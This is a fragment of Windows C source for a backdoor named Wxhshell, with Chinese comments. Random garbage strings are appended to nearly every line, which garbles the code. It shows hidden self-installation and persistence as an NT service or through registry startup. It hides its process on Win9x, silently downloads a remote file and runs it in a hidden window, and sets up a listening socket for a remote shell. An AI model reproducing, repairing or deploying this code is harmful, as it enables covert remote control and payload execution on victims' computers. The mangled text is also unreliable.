ULONG UniqueProcessId; 4apL4E"r
ULONG InheritedFromUniqueProcessId; %^RN#_ro(3
} PROCESS_BASIC_INFORMATION; jy-{~xdg[
oudxm[/U
PROCNTQSIP NtQueryInformationProcess; @)J+,tg/7
~69&6C1Ch
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sr8cYLm5R
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /?SLdW
H;RwO@v
HANDLE hProcess; kc0E%odF.v
PROCESS_BASIC_INFORMATION pbi; ]+X@
7
0_ 88V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m *JaXa
if(NULL == hInst ) return 0; 2}8v(%s p
|1j["u1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Z1CWzq(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y]&j,j&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K6R.@BMN
gEjdN.
if (!NtQueryInformationProcess) return 0; h$2</J"
% >=!p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {.XEL
if(!hProcess) return 0; \-g)T}g,I
9H]{g*kL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<M2,YrbAI
.[_L=_.
CloseHandle(hProcess); &v@a5 L
6Yln,rC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ez|)ph7
if(hProcess==NULL) return 0; *WuID2cOI
`EaLGzw
HMODULE hMod; FYpzQ6s~
char procName[255]; ^~etm
unsigned long cbNeeded; m^zUmrj[
K|epPGRr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *}*FX+px)
c24dSNJg,
CloseHandle(hProcess); h'{ C[d
iUN Ib
if(strstr(procName,"services")) return 1; // 以服务启动 XuFYYx~ ^3
BI%$c~wS
return 0; // 注册表启动 lNYt`xp
} 8]9%*2"!
t7aefV&_,
// 主模块 koug[5T5
int StartWxhshell(LPSTR lpCmdLine) H*PSR
{ ,
K~}\CR
SOCKET wsl; 50S&m+4d+
BOOL val=TRUE; J| w>a
int port=0; Yo6*C
struct sockaddr_in door; .[ICx
+ R~'7*EI
if(wscfg.ws_autoins) Install(); `r9!zffyS
W:pIPDx1=!
port=atoi(lpCmdLine); e w$B)W
]>5/PD,wWy
if(port<=0) port=wscfg.ws_port; a.k.n<
&i6),{QN
WSADATA data; rX2.i7i,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yb\_zE\
)"7iJb<E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #Lh;CSS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6a~|K-a6
door.sin_family = AF_INET; ivJ@=pd)B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Tm3<o.
door.sin_port = htons(port); ;,%fE2c
gCB |DY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
@niHl
closesocket(wsl); Sw ig;`
return 1; B|C2lu
} c(xrP/yOwi
286jI7 T
if(listen(wsl,2) == INVALID_SOCKET) { ,l\-xSM
closesocket(wsl); L>Fa^jq5
return 1; w;4<h8Wn5
} 4V)kx[j
Wxhshell(wsl); #lL^?|M
WSACleanup(); .SU8)T
,is3&9
return 0; S%Uutj\/W
&5B'nk"
} 2} /aFR
3
/g~A{
// 以NT服务方式启动 (c=6yV@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1#< '&Lr
{
?N *>*"
DWORD status = 0; ?]_$Dcmx
DWORD specificError = 0xfffffff; iL-(O;n
f@wquG'
serviceStatus.dwServiceType = SERVICE_WIN32; KQ!8ks]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; <KL,G};0pm
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BYL)nCc
serviceStatus.dwWin32ExitCode = 0; spH7 /5}
serviceStatus.dwServiceSpecificExitCode = 0; U]H#MiC!
serviceStatus.dwCheckPoint = 0; ) j#`r/
serviceStatus.dwWaitHint = 0; FpmM63$VN[
2*;~S44
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *v^Jb/E315
if (hServiceStatusHandle==0) return; 3nO]Ge"w'n
P64PPbP
status = GetLastError(); _Xe>V0
if (status!=NO_ERROR) un mJbY;t
{ O:;w3u7;u
serviceStatus.dwCurrentState = SERVICE_STOPPED; c_$=-Khk
serviceStatus.dwCheckPoint = 0; -P$PAg5"2
serviceStatus.dwWaitHint = 0; 'uSn}hm
serviceStatus.dwWin32ExitCode = status; )l C)@H}
serviceStatus.dwServiceSpecificExitCode = specificError; O`IQ(,yef
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'T*&'RQr
return; dVtG/0
} 6_GhO@lOG
itt3.:y
serviceStatus.dwCurrentState = SERVICE_RUNNING; S6Q
serviceStatus.dwCheckPoint = 0; qZ}^;)a^
serviceStatus.dwWaitHint = 0; vxBgGl
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C!<Ou6}!b
} H(ARw'M
~D j8z+^
// 处理NT服务事件,比如:启动、停止 _YhES-Ff
VOID WINAPI NTServiceHandler(DWORD fdwControl) l` lk-nb
{ {T$9?`h~M
switch(fdwControl) tTl%oN8Qw
{ M6"PX *K
case SERVICE_CONTROL_STOP: SaO}e
serviceStatus.dwWin32ExitCode = 0; k_#ak%m/
serviceStatus.dwCurrentState = SERVICE_STOPPED; t%0VJB,Q2
serviceStatus.dwCheckPoint = 0; tKOmoC
serviceStatus.dwWaitHint = 0; {L{o]Ii?g
{ NZ:,ph
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y.(PiuG$G
} %v
M-mbX
return; Ju@c~Xm
case SERVICE_CONTROL_PAUSE: G5BfNU
serviceStatus.dwCurrentState = SERVICE_PAUSED; S6DKREO
break; Ko<:Z)PS
case SERVICE_CONTROL_CONTINUE: #CTE-W"|HE
serviceStatus.dwCurrentState = SERVICE_RUNNING; D0-3eV-
break; &-)N'
case SERVICE_CONTROL_INTERROGATE: 0*3R=7_},o
break; /l~p=PK
}; AofKw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SwGx?U
} Mk 6(UXY
g
wRZ%.Cn
// 标准应用程序主函数 `r6 ,+&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q~
w|#
{ Rsm^Z!sn
W' VslZG
// 获取操作系统版本 tCH!my_
OsIsNt=GetOsVer(); Naf0)3q>!
GetModuleFileName(NULL,ExeFile,MAX_PATH); v0{i0%d,?
W:2( .?
// 从命令行安装 kiaw4_
if(strpbrk(lpCmdLine,"iI")) Install(); Ty?cC**
q6luUx,@m
// 下载执行文件 _1\v
if(wscfg.ws_downexe) { _
]ipajT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +SU8 +w
WinExec(wscfg.ws_filenam,SW_HIDE); 7&)bJ@1U
} "%w u2%i
+{.WQA}z\
if(!OsIsNt) { P/eeC"
// 如果时win9x,隐藏进程并且设置为注册表启动 cKI9#t_
HideProc(); 'rkdZ=x{
StartWxhshell(lpCmdLine); zR:L!S
} F@KGj|
else &K#M*B,*p
if(StartFromService()) IM'r8V
// 以服务方式启动 K;G~V\
StartServiceCtrlDispatcher(DispatchTable); p8O2Z?\
else mO7]9p
// 普通方式启动 +~$ ]}%
StartWxhshell(lpCmdLine); $Ds2>G4c
! n@KU!&k
return 0; %ntRG!
}